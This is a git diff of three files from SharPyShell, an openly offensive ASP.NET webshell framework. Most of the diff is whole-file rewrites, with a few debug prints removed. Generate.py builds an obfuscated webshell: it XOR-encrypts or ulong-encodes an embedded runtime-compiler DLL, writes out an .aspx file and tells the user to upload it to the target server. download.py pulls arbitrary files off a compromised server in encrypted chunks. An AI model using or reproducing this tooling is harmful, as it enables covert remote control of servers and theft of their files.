diff --git a/core/Generate.py b/core/Generate.py index d661625..2f29615 100644 --- a/core/Generate.py +++ b/core/Generate.py @@ -1,115 +1,111 @@ -from core import config -from struct import unpack -from itertools import cycle -import hashlib -import random -import io - -class Generate(): - - __password = '' - __encryption = '' - __obfuscator = '' - __endian_type = '' - - __templates_path = config.sharpyshell_path+'agent/' - __runtime_compiler_path = __templates_path + 'runtime_compiler/' - __output_path = config.output_path + 'sharpyshell.aspx' - - def __init__(self, password, encryption, obfuscator, endian_type, output): - password = password.encode('utf-8') - if encryption == 'aes128': - self.__password = hashlib.md5(password).hexdigest() - else: - self.__password = hashlib.sha256(password).hexdigest() - self.__encryption = encryption - self.__obfuscator = obfuscator - self.__endian_type = endian_type - if output is not None: - self.__output_path = output - - def __get_template_code(self): - template_path = self.__templates_path + 'template_' + self.__obfuscator - if self.__obfuscator == 'raw': - template_path += '_' - if 'aes' in self.__encryption: - template_path += 'aes' - else: - template_path += self.__encryption - template_path += '.aspx' - with open(template_path, 'r') as file_handle: - template_code = file_handle.read() - return template_code - - def __generate_webshell_code_encrypted_dll(self, template_code): - def xor_file(path, key): - with io.open(path, mode='rb') as file_handle: - plain_data = file_handle.read() - xored = [] - for (x, y) in list(zip(plain_data, cycle(key))): - xored.append(hex(x ^ ord(y))) - return '{' + ",".join(xored) + '}' - - def generate_byte_file_string(byte_arr): - output = [str(hex(byte)) for byte in byte_arr] - return '{' + ",".join(output) + '}' - - if 'aes' in self.__encryption: - dll_name = 'runtime_compiler_aes.dll' - else: - dll_name = 'runtime_compiler_xor.dll' - runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name - obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password) - webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) - webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll) - return webshell_code - - def __generate_webshell_code_ulong_compression(self, template_code): - def get_dll_code(dll_code_path): - with open(dll_code_path, 'r') as file_handle: - dll_code = file_handle.read() - return dll_code - - def get_ulong_arrays(dll_code, divisor, endian_type): - ulong_quotients = [] - ulong_remainders = [] - if endian_type == 'little': - representation = '<' - elif endian_type == 'big': - representation = '>' - else: - representation = '=' - for i in range(0, len(dll_code), 8): - int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0] - ulong_quotients.append(str(int_conversion / divisor)) - ulong_remainders.append(str(int_conversion % divisor)) - ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}' - ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}' - return ulong_quotients_string, ulong_remainders_string - - if 'aes' in self.__encryption: - runtime_compiler_dll_path = self.__runtime_compiler_path + 'runtime_compiler_aes.dll' - else: - runtime_compiler_dll_path = self.__runtime_compiler_path + 'runtime_compiler_xor.dll' - dll_code = get_dll_code(runtime_compiler_dll_path) - divisor = random.randint(2,1000000) - ulong_quotients, ulong_remainders = get_ulong_arrays(dll_code, divisor, self.__endian_type) - webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) - webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_ulong_arr}}', ulong_quotients) - webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_remainders}}', ulong_remainders) - webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_divisor}}', str(divisor)) - return webshell_code - - def generate(self): - template_code = self.__get_template_code() - if self.__obfuscator == 'encrypted_dll_ulong_compression': - webshell_code = self.__generate_webshell_code_ulong_compression(template_code) - elif self.__obfuscator == 'raw': - webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) - else: - webshell_code = self.__generate_webshell_code_encrypted_dll(template_code) - webshell_output_path = self.__output_path - with open(webshell_output_path, 'w') as file_handle: - file_handle.write(webshell_code) - print ('SharPyShell webshell written correctly to: ' + webshell_output_path) - print ('\nUpload it to the target server and let\'s start having some fun :) \n\n') +from core import config +from struct import unpack +from itertools import cycle +import hashlib +import random +import io + +class Generate(): + + __password = '' + __encryption = '' + __obfuscator = '' + __endian_type = '' + + __templates_path = config.sharpyshell_path+'agent/' + __runtime_compiler_path = __templates_path + 'runtime_compiler/' + __output_path = config.output_path + 'sharpyshell.aspx' + + def __init__(self, password, encryption, obfuscator, endian_type, output): + password = password.encode('utf-8') + if encryption == 'aes128': + self.__password = hashlib.md5(password).hexdigest() + else: + self.__password = hashlib.sha256(password).hexdigest() + self.__encryption = encryption + self.__obfuscator = obfuscator + self.__endian_type = endian_type + if output is not None: + self.__output_path = output + + def __get_template_code(self): + template_path = self.__templates_path + 'template_' + self.__obfuscator + if self.__obfuscator == 'raw': + template_path += '_' + if 'aes' in self.__encryption: + template_path += 'aes' + else: + template_path += self.__encryption + template_path += '.aspx' + with open(template_path, 'r') as file_handle: + template_code = file_handle.read() + return template_code + + def __generate_webshell_code_encrypted_dll(self, template_code): + def xor_file(path, key): + with io.open(path, mode='rb') as file_handle: + plain_data = file_handle.read() + xored = [] + for (x, y) in list(zip(plain_data, cycle(key))): + xored.append(hex(x ^ ord(y))) + return '{' + ",".join(xored) + '}' + + if 'aes' in self.__encryption: + dll_name = 'runtime_compiler_aes.dll' + else: + dll_name = 'runtime_compiler_xor.dll' + runtime_compiler_dll_path = self.__runtime_compiler_path + dll_name + obfuscated_dll = xor_file(runtime_compiler_dll_path, self.__password) + webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) + webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_enc_dll}}', obfuscated_dll) + return webshell_code + + def __generate_webshell_code_ulong_compression(self, template_code): + def get_dll_code(dll_code_path): + with open(dll_code_path, 'r') as file_handle: + dll_code = file_handle.read() + return dll_code + + def get_ulong_arrays(dll_code, divisor, endian_type): + ulong_quotients = [] + ulong_remainders = [] + if endian_type == 'little': + representation = '<' + elif endian_type == 'big': + representation = '>' + else: + representation = '=' + for i in range(0, len(dll_code), 8): + int_conversion = unpack(representation + 'Q', dll_code[i:i + 8])[0] + ulong_quotients.append(str(int_conversion / divisor)) + ulong_remainders.append(str(int_conversion % divisor)) + ulong_quotients_string = '{' + ','.join(ulong_quotients) + '}' + ulong_remainders_string = '{' + ','.join(ulong_remainders) + '}' + return ulong_quotients_string, ulong_remainders_string + + if 'aes' in self.__encryption: + runtime_compiler_dll_path = self.__runtime_compiler_path + 'runtime_compiler_aes.dll' + else: + runtime_compiler_dll_path = self.__runtime_compiler_path + 'runtime_compiler_xor.dll' + dll_code = get_dll_code(runtime_compiler_dll_path) + divisor = random.randint(2,1000000) + ulong_quotients, ulong_remainders = get_ulong_arrays(dll_code, divisor, self.__endian_type) + webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) + webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_ulong_arr}}', ulong_quotients) + webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_remainders}}', ulong_remainders) + webshell_code = webshell_code.replace('{{SharPyShell_Placeholder_divisor}}', str(divisor)) + return webshell_code + + def generate(self): + template_code = self.__get_template_code() + if self.__obfuscator == 'encrypted_dll_ulong_compression': + webshell_code = self.__generate_webshell_code_ulong_compression(template_code) + elif self.__obfuscator == 'raw': + webshell_code = template_code.replace('{{SharPyShell_Placeholder_pwd}}', self.__password) + else: + webshell_code = self.__generate_webshell_code_encrypted_dll(template_code) + webshell_output_path = self.__output_path + with open(webshell_output_path, 'w') as file_handle: + file_handle.write(webshell_code) + print ('SharPyShell webshell written correctly to: ' + webshell_output_path) + print ('\nUpload it to the target server and let\'s start having some fun :) \n\n') diff --git a/modules/download.py b/modules/download.py index 599423e..e9e9e44 100644 --- a/modules/download.py +++ b/modules/download.py @@ -1,180 +1,178 @@ -from core.Module import Module, ModuleException -from core import config -import ntpath -import traceback - - -class DownloadModuleException(ModuleException): - pass - - -class Download(Module): - _exception_class = DownloadModuleException - short_help = "Download a file from the server" - complete_help = r""" - This module allows you to download a file from the remote server. - In this module has been considered the limit of the data you can send/receive through post request. - So if a file is larger than 100 KB it will be splitted into multiple requests over the network. - The chunk size parameter could be modified. - - Usage: - #download remote_input_path [local_output_path] [chunk_size] - - Positional arguments: - remote_input_path The file path you want to download from the remote server - local_output_path The path where the file will be saved on your local machine - Default: 'output/' directory of Sharpyshell directory - chunk_size The maximum limit of a chunk to be transferred over the network - Default: 102400 - - Examples: - Download cmd.exe: - #download C:\windows\system32\cmd.exe - Download cmd.exe into /home/user local directory: - #download C:\windows\system32\cmd.exe /home/user/cmd.exe - Download cmd.exe into /home/user local directory splitting into multiple requests of 1KB chunks: - #download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024 - """ - - _runtime_code = r""" - using System;using System.IO;using System.Diagnostics;using System.Text; - public class SharPyShell{ - public byte[] Download(string arg){ - byte[] downloaded_file; - try{ - downloaded_file = System.IO.File.ReadAllBytes(arg); - } - catch (Exception e){ - downloaded_file = Encoding.UTF8.GetBytes("{{{SharPyShellError}}}\n" + e); - } - return downloaded_file; - } - public byte[] ExecRuntime(){ - byte[] output_func=Download(@"%s"); - return(output_func); - } - } - """ - - __runtime_code_split_file = r""" - using System;using System.IO;using System.Diagnostics;using System.Text; - public class SharPyShell{ - public byte[] Download(string arg, int chunk, int offset){ - byte[] downloaded_file = new byte[chunk]; - try{ - using (BinaryReader reader = new BinaryReader(new FileStream(arg, FileMode.Open, FileAccess.Read, FileShare.Read))){ - reader.BaseStream.Seek(offset, SeekOrigin.Begin); - reader.Read(downloaded_file, 0, chunk); - } - } - catch (Exception e){ - downloaded_file = Encoding.UTF8.GetBytes("{{{SharPyShellError}}}\n" + e); - } - return downloaded_file; - } - public byte[] ExecRuntime(){ - byte[] output_func=Download(@"%s", %s, %s); - return(output_func); - } - } - """ - - __runtime_code_get_file_size = r""" - using System;using System.IO;using System.Diagnostics;using System.Text; - public class SharPyShell{ - string GetFileSize(string path){ - string output = ""; - try{ - output = new System.IO.FileInfo(path).Length.ToString(); - } - catch (Exception e){ - return "{{{SharPyShellError}}}\n " + e; - } - return output; - } - public byte[] ExecRuntime(){ - string output_func=GetFileSize(@"%s"); - byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); - return(output_func_byte); - } - } - """ - - __default_chunk_size = 102400 - - def __get_file_size(self, file_path): - code = self.__runtime_code_get_file_size % file_path - encrypted_request = self._encrypt_request(code) - encrypted_response = self._post_request(encrypted_request) - decrypted_response = self._decrypt_response(encrypted_response) - output_file_size = self._parse_response(decrypted_response) - return output_file_size - - def __write_local_file(self, file_content, output_path, split=False): - print(type(file_content)) - if split: - file_open_mode = 'ab' - else: - file_open_mode = 'wb' - print(file_open_mode) - with open(output_path, file_open_mode) as outfile: - outfile.write(bytes(file_content, "utf-8")) - output = "File Downloaded correctly to " + output_path - return output - - def __parse_run_args(self, args): - if len(args) < 1: - raise self._exception_class('#download : Not enough arguments. 1 Argument required. \n') - args_parser = {k: v for k, v in enumerate(args)} - download_input_path = args_parser.get(0) - filename = ntpath.basename(download_input_path) - default_download_output_path = config.output_path + filename - download_output_path = args_parser.get(1, default_download_output_path) - chunk_size = int(args_parser.get(2, self.__default_chunk_size)) - if ':' not in download_input_path: - download_input_path = self._module_settings['working_directory'] + '\\' + download_input_path - return download_input_path, filename, download_output_path, chunk_size - - def _create_request(self, args): - download_input_path, chunk_size, file_size = args - output_code_arr = [] - if file_size <= chunk_size: - code = self._runtime_code % download_input_path - output_code_arr += [code] - else: - n_of_chunks = file_size // chunk_size - last_chunk = file_size % chunk_size - if last_chunk > 0: - n_of_chunks = n_of_chunks + 1 - for i in range(0, n_of_chunks): - if i == n_of_chunks - 1 and last_chunk > 0: - code = self.__runtime_code_split_file % (download_input_path, last_chunk, chunk_size * i) - else: - code = self.__runtime_code_split_file % (download_input_path, chunk_size, chunk_size * i) - output_code_arr += [code] - return output_code_arr - - def run(self, args): - parsed_response = '' - try: - download_input_path, filename, download_output_path, chunk_size = self.__parse_run_args(args) - file_size = int(self.__get_file_size(download_input_path)) - requests = self._create_request([download_input_path, chunk_size, file_size]) - open(download_output_path, 'w').close() - for i, req in enumerate(requests): - encrypted_request = self._encrypt_request(req) - encrypted_response = self._post_request(encrypted_request) - decrypted_response = self._decrypt_response(encrypted_response) - file_content = self._parse_response(decrypted_response) - if len(requests) > 1: - parsed_response = self.__write_local_file(file_content, download_output_path, split=True) - print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\ - str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path) - else: - parsed_response = self.__write_local_file(file_content, download_output_path) - except ModuleException as module_exc: - parsed_response = str(module_exc) - except Exception: - parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ - str(traceback.format_exc()) - return parsed_response +from core.Module import Module, ModuleException +from core import config +import ntpath +import traceback + + +class DownloadModuleException(ModuleException): + pass + + +class Download(Module): + _exception_class = DownloadModuleException + short_help = "Download a file from the server" + complete_help = r""" + This module allows you to download a file from the remote server. + In this module has been considered the limit of the data you can send/receive through post request. + So if a file is larger than 100 KB it will be splitted into multiple requests over the network. + The chunk size parameter could be modified. + + Usage: + #download remote_input_path [local_output_path] [chunk_size] + + Positional arguments: + remote_input_path The file path you want to download from the remote server + local_output_path The path where the file will be saved on your local machine + Default: 'output/' directory of Sharpyshell directory + chunk_size The maximum limit of a chunk to be transferred over the network + Default: 102400 + + Examples: + Download cmd.exe: + #download C:\windows\system32\cmd.exe + Download cmd.exe into /home/user local directory: + #download C:\windows\system32\cmd.exe /home/user/cmd.exe + Download cmd.exe into /home/user local directory splitting into multiple requests of 1KB chunks: + #download C:\windows\system32\cmd.exe /home/user/cmd.exe 1024 + """ + + _runtime_code = r""" + using System;using System.IO;using System.Diagnostics;using System.Text; + public class SharPyShell{ + public byte[] Download(string arg){ + byte[] downloaded_file; + try{ + downloaded_file = System.IO.File.ReadAllBytes(arg); + } + catch (Exception e){ + downloaded_file = Encoding.UTF8.GetBytes("{{{SharPyShellError}}}\n" + e); + } + return downloaded_file; + } + public byte[] ExecRuntime(){ + byte[] output_func=Download(@"%s"); + return(output_func); + } + } + """ + + __runtime_code_split_file = r""" + using System;using System.IO;using System.Diagnostics;using System.Text; + public class SharPyShell{ + public byte[] Download(string arg, int chunk, int offset){ + byte[] downloaded_file = new byte[chunk]; + try{ + using (BinaryReader reader = new BinaryReader(new FileStream(arg, FileMode.Open, FileAccess.Read, FileShare.Read))){ + reader.BaseStream.Seek(offset, SeekOrigin.Begin); + reader.Read(downloaded_file, 0, chunk); + } + } + catch (Exception e){ + downloaded_file = Encoding.UTF8.GetBytes("{{{SharPyShellError}}}\n" + e); + } + return downloaded_file; + } + public byte[] ExecRuntime(){ + byte[] output_func=Download(@"%s", %s, %s); + return(output_func); + } + } + """ + + __runtime_code_get_file_size = r""" + using System;using System.IO;using System.Diagnostics;using System.Text; + public class SharPyShell{ + string GetFileSize(string path){ + string output = ""; + try{ + output = new System.IO.FileInfo(path).Length.ToString(); + } + catch (Exception e){ + return "{{{SharPyShellError}}}\n " + e; + } + return output; + } + public byte[] ExecRuntime(){ + string output_func=GetFileSize(@"%s"); + byte[] output_func_byte=Encoding.UTF8.GetBytes(output_func); + return(output_func_byte); + } + } + """ + + __default_chunk_size = 102400 + + def __get_file_size(self, file_path): + code = self.__runtime_code_get_file_size % file_path + encrypted_request = self._encrypt_request(code) + encrypted_response = self._post_request(encrypted_request) + decrypted_response = self._decrypt_response(encrypted_response) + output_file_size = self._parse_response(decrypted_response) + return output_file_size + + def __write_local_file(self, file_content, output_path, split=False): + if split: + file_open_mode = 'ab' + else: + file_open_mode = 'wb' + with open(output_path, file_open_mode) as outfile: + outfile.write(bytes(file_content, "utf-8")) + output = "File Downloaded correctly to " + output_path + return output + + def __parse_run_args(self, args): + if len(args) < 1: + raise self._exception_class('#download : Not enough arguments. 1 Argument required. \n') + args_parser = {k: v for k, v in enumerate(args)} + download_input_path = args_parser.get(0) + filename = ntpath.basename(download_input_path) + default_download_output_path = config.output_path + filename + download_output_path = args_parser.get(1, default_download_output_path) + chunk_size = int(args_parser.get(2, self.__default_chunk_size)) + if ':' not in download_input_path: + download_input_path = self._module_settings['working_directory'] + '\\' + download_input_path + return download_input_path, filename, download_output_path, chunk_size + + def _create_request(self, args): + download_input_path, chunk_size, file_size = args + output_code_arr = [] + if file_size <= chunk_size: + code = self._runtime_code % download_input_path + output_code_arr += [code] + else: + n_of_chunks = file_size // chunk_size + last_chunk = file_size % chunk_size + if last_chunk > 0: + n_of_chunks = n_of_chunks + 1 + for i in range(0, n_of_chunks): + if i == n_of_chunks - 1 and last_chunk > 0: + code = self.__runtime_code_split_file % (download_input_path, last_chunk, chunk_size * i) + else: + code = self.__runtime_code_split_file % (download_input_path, chunk_size, chunk_size * i) + output_code_arr += [code] + return output_code_arr + + def run(self, args): + parsed_response = '' + try: + download_input_path, filename, download_output_path, chunk_size = self.__parse_run_args(args) + file_size = int(self.__get_file_size(download_input_path)) + requests = self._create_request([download_input_path, chunk_size, file_size]) + open(download_output_path, 'w').close() + for i, req in enumerate(requests): + encrypted_request = self._encrypt_request(req) + encrypted_response = self._post_request(encrypted_request) + decrypted_response = self._decrypt_response(encrypted_response) + file_content = self._parse_response(decrypted_response) + if len(requests) > 1: + parsed_response = self.__write_local_file(file_content, download_output_path, split=True) + print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size * i) + ' - ' +\ + str(chunk_size * i + chunk_size) + ' bytes written correctly to ' + download_output_path) + else: + parsed_response = self.__write_local_file(file_content, download_output_path) + except ModuleException as module_exc: + parsed_response = str(module_exc) + except Exception: + parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' +\ + str(traceback.format_exc()) + return parsed_response diff --git a/utils/gzip_utils.py b/utils/gzip_utils.py index ca9a27f..3b6232f 100644 --- a/utils/gzip_utils.py +++ b/utils/gzip_utils.py @@ -1,15 +1,14 @@ -import io -import gzip -import base64 - - -def get_compressed_base64_from_file(path): - - with open(path, 'rb') as f: - read_data = f.read() - return base64.b64encode(gzip.compress(read_data)).decode() - - -def get_compressed_base64_from_binary(bin_bytearray_input): - print(base64.b64encode(gzip.compress(bin_bytearray_input)).decode()) - return base64.b64encode(gzip.compress(bin_bytearray_input)).decode() +import io +import gzip +import base64 + + +def get_compressed_base64_from_file(path): + + with open(path, 'rb') as f: + read_data = f.read() + return base64.b64encode(gzip.compress(read_data)).decode() + + +def get_compressed_base64_from_binary(bin_bytearray_input): + return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()